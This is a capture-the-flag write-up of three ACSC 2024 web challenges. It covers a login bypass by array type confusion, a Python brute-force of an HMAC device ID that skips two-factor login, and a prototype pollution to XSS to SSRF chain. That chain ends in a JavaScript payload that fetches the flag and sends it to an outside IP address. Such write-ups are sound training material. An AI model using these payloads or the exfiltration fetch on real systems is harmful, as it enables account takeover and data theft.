Web Exploitation

ChallengeLink

Login! (100 pts)

Too Faulty (150 pts)

Buggy Bounty (275 pts)

Login! (100 pts)

Description

Here comes yet another boring login page ...

  • http://login-web.chal.2024.ctf.acsc.asia:5000

Solution

Given source code, take a look app.js

...
app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});
...
  • On /login, the application will receive username and password parameter

    • username will be used as key for USER_DB

    • password will be validated with password from USER_DB based on username

Is it impossible to get the user password, so in this case we only know guest password. To get the flag we must fulfill conditions below:

  • password must be guess, because we only know that valid password

  • user variable must be filled with guess object

To find a valid payload, i did some trial and error. At the end i found that if we input array with length 1 as a key for an object, javascript will recognize it same as when we input the string as a key.

debugging on nodejs

So, the last step is sending the payload to the server and get the flag.

sending final exploit

Flag: ACSC{y3t_an0th3r_l0gin_byp4ss}

Too Faulty (150 pts)

Description

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

  • http://toofaulty.chal.2024.ctf.acsc.asia:80

Solution

Given access to a website.

initial page

Register then login, we will see a dashboard with Setup 2FA and logout button. In dashboard we also see that my new registered user has role user.

dashboard page

Click setup 2FA and scan the QRcode using authenticator. After that logout and login again to test if 2FA working well or not.

2FA setup page

In 2FA verification page, we can see there is something suspicious which is "Trust only this device" checkbox. Check the "Trust only this device" checkbox and input valid OTP.

2FA verification request

HTTP request looks like normal request for 2FA verification. So the next step is logout again and login using the same account but with "Trust only this device" has been checked in previous step.

login request

We can see the different is if we check "Trust only this device" we will skip 2FA verification for next login (seamless login). From the description we know that the mechanism to do the seamless login is based on device id and during the login process we can see header X-Device-Id. Searching X-Device-Id will reveal how X-Device-Id generated.

login.js

So X-Device-Id is HmacSHA1 for ${browserObject.name} ${version} with key 2846547907. To get correct value for browserObject.name and version we can utilize debugger on browser.

debugger on chromium

The value is Chrome 103.0. Basically the application implement device validation based on those values. Now the idea is we can bruteforce the chrome version to bypass the 2FA verification with assumption that the admin has checked "Trust only this device" during his 2FA verification. Last step before bruteforce, we need to know admin credential and guessing using some default creds is enough. I found that admin credential is admin:admin. Below is the script i used to implement HmacSHA1 and bruteforce the browser and its version.

from hashlib import sha1
import hmac
import tqdm

def sign_request(raw, key):
    hashed = hmac.new(key, raw, sha1)    
    return hashed.hexdigest()

import requests

# generated with Copy As Python-Requests plugin
burp0_url = "http://toofaulty.chal.2024.ctf.acsc.asia:80/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36", "X-Device-Id": "0de21cfefec15afe7bbfee3ad1467db28138d6b7", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://toofaulty.chal.2024.ctf.acsc.asia", "Referer": "http://toofaulty.chal.2024.ctf.acsc.asia/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_json={"password": "admin", "username": "admin"}


key = b"2846547907"
# raw = f"Firefox {i}.0"

for i in tqdm.tqdm(range(100, 125)):
	raw = f"Chrome {i}.0"
	burp0_headers["X-Device-Id"] = sign_request(raw.encode(), key)
	resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
	if("Enter CAPTCHA" not in resp.text):
		print(raw, resp.text)
Running solver

Flag: ACSC{T0o_F4ulty_T0_B3_4dm1n}

Buggy Bounty (275 pts)

Description

Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.

  • http://buggy-bounty.chal.2024.ctf.acsc.asia:80

Solution

Given source code, check docker-compose.yml file.

docker-compose.yml

So there are 2 containers, taking a look on reward container we can see that it only has one endpoint and it will directly give the flag.

reward container

Second container which is bugbounty is our initial access. So until this step, i assume that the objective is getting access to /bounty on reward container from bugbounty container.

bugbounty container

Image above is home page when we access the challenge. We can understand flow of the application by reading routes.js and directly testing the application, below is the flow

  • http://bugbounty/ (1)

    • Submit button will trigger HTTP request to http://bugbounty/report_bug

  • http://bugbounty/report_bug (2)

    • Parsing id, url, and report id

    • Visitting http://127.0.0.1/triage (bugbounty container) with auth secret

  • http://bugbounty/triage (3)

    • render triage.html

From the flow we can see that there is endpoint that is never accessed which is http://bugbounty/check_valid_url.

check_valid_url code

We can see in check_valid_url code there is possibility of SSRF if we can control req.query.url but there is also mitigation which is ssrfFilter. Apart from that, to access check_valid_url endpoint we need valid authsecret. To do SSRF we must fulfill conditions below

  • Accessing the endpoint

    • It is impossible to bruteforce the auth secret, so there is another way to access the endpoint with valid auth secret

  • Bypass ssrfFilter

    • Searching on google, i found this reference. Basically we can bypass ssrfFilter if we setup HTTPS website with redirect feature.

Now the question is how to access the endpoint with valid authsecret? one idea that comes to my mind is triggering XSS. Back to /triage since it render our input.

triage.html

Code above is triage.html, it consist of 4 scripts and one of the script is vulnerable to prototype pollution which is arg-1.4.js based on this reference. arg-1.4.js also used to parse location.search which is similar with the code on the repository.

vulnerable to prototype pollution

To debug it, i deploy the container and set the static value for authsecret so i can try /triage on my browser.

testing prototype pollution

Now we have validated that /triage endpoint vulnerable to prototype pollution (client side). Next, we need to find gadget and there are 4 scripts loaded in /triage. launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js looks suspicious for me, checking the file and i found that the script originated from adobedtm.

adobedtm source code

On the same repository where i found payload for prototype pollution i also found the gadget for Adobe Dynamic Tag Management.

first valid payload
second valid payload
http://127.0.0.1/triage?id=1&url=2&report=3&__proto__[SRC]=%3Cimg/src/onerror%3dalert(1)%3E
http://127.0.0.1/triage?id=1&url=2&report=3&__proto__[SRC]=data:,alert(1)//

After found valid XSS, now we need to construct XSS payload that do below action

  • Access /check_valid_url endpoint with valid auth secret

    • url value will be our HTTPS website with redirect to http://reward/bounty

  • Response from /check_valid_url will be the flag and sent it to our server

First, setup website with redirect feature and forward it using ngrok because ngrok support tunneling through HTTPS.

index.php
<?php header('Location: '.$_GET["target"]); ?>
php -S 127.0.0.1:8000
setup redirect server
ngrok http 8000
setup tunneling using ngrok

Setup HTTP server to receive flag

python3 -m http.server 800
setup flag receiver

Below is my final payload

(async () => {
  url = 'http://127.0.0.1/check_valid_url?url=https://a0f7-158-140-167-40.ngrok-free.app/?target=http://reward/bounty';
  const rawResponse = await fetch(url, {
    method: 'GET',
    credentials: 'include'
  });
  const content = await rawResponse.text();
  url2 = 'http://23.94.73.203:8000/?flag='
  const rawResponse2 = await fetch(url2 + content, {
    method: 'GET',
  });
})();

Encode it using urlencoder and try on /triage.

http://127.0.0.1/triage?id=1&url=2&report=3&__proto__[SRC]=data:,%28async%20%28%29%20%3D%3E%20%7B%0A%20%20url%20%3D%20%27http%3A%2F%2F127.0.0.1%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fa0f7-158-140-167-40.ngrok-free.app%2F%3Ftarget%3Dhttp%3A%2F%2Freward%3A5000%2Fbounty%27%3B%0A%20%20const%20rawResponse%20%3D%20await%20fetch%28url%2C%20%7B%0A%20%20%20%20method%3A%20%27GET%27%2C%0A%20%20%20%20credentials%3A%20%27include%27%0A%20%20%7D%29%3B%0A%20%20const%20content%20%3D%20await%20rawResponse.text%28%29%3B%0A%20%20url2%20%3D%20%27http%3A%2F%2F23.94.73.203%3A8000%2F%3Fflag%3D%27%0A%20%20const%20rawResponse2%20%3D%20await%20fetch%28url2%20%2B%20content%2C%20%7B%0A%20%20%20%20method%3A%20%27GET%27%2C%0A%20%20%7D%29%3B%0A%7D%29%28%29%3B//
got fake flag

Okay got the fake flag, now try it on target but send it through /report_bug.

put payload on actual page
sending final exploit
got real flag

Flag: ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}

Last updated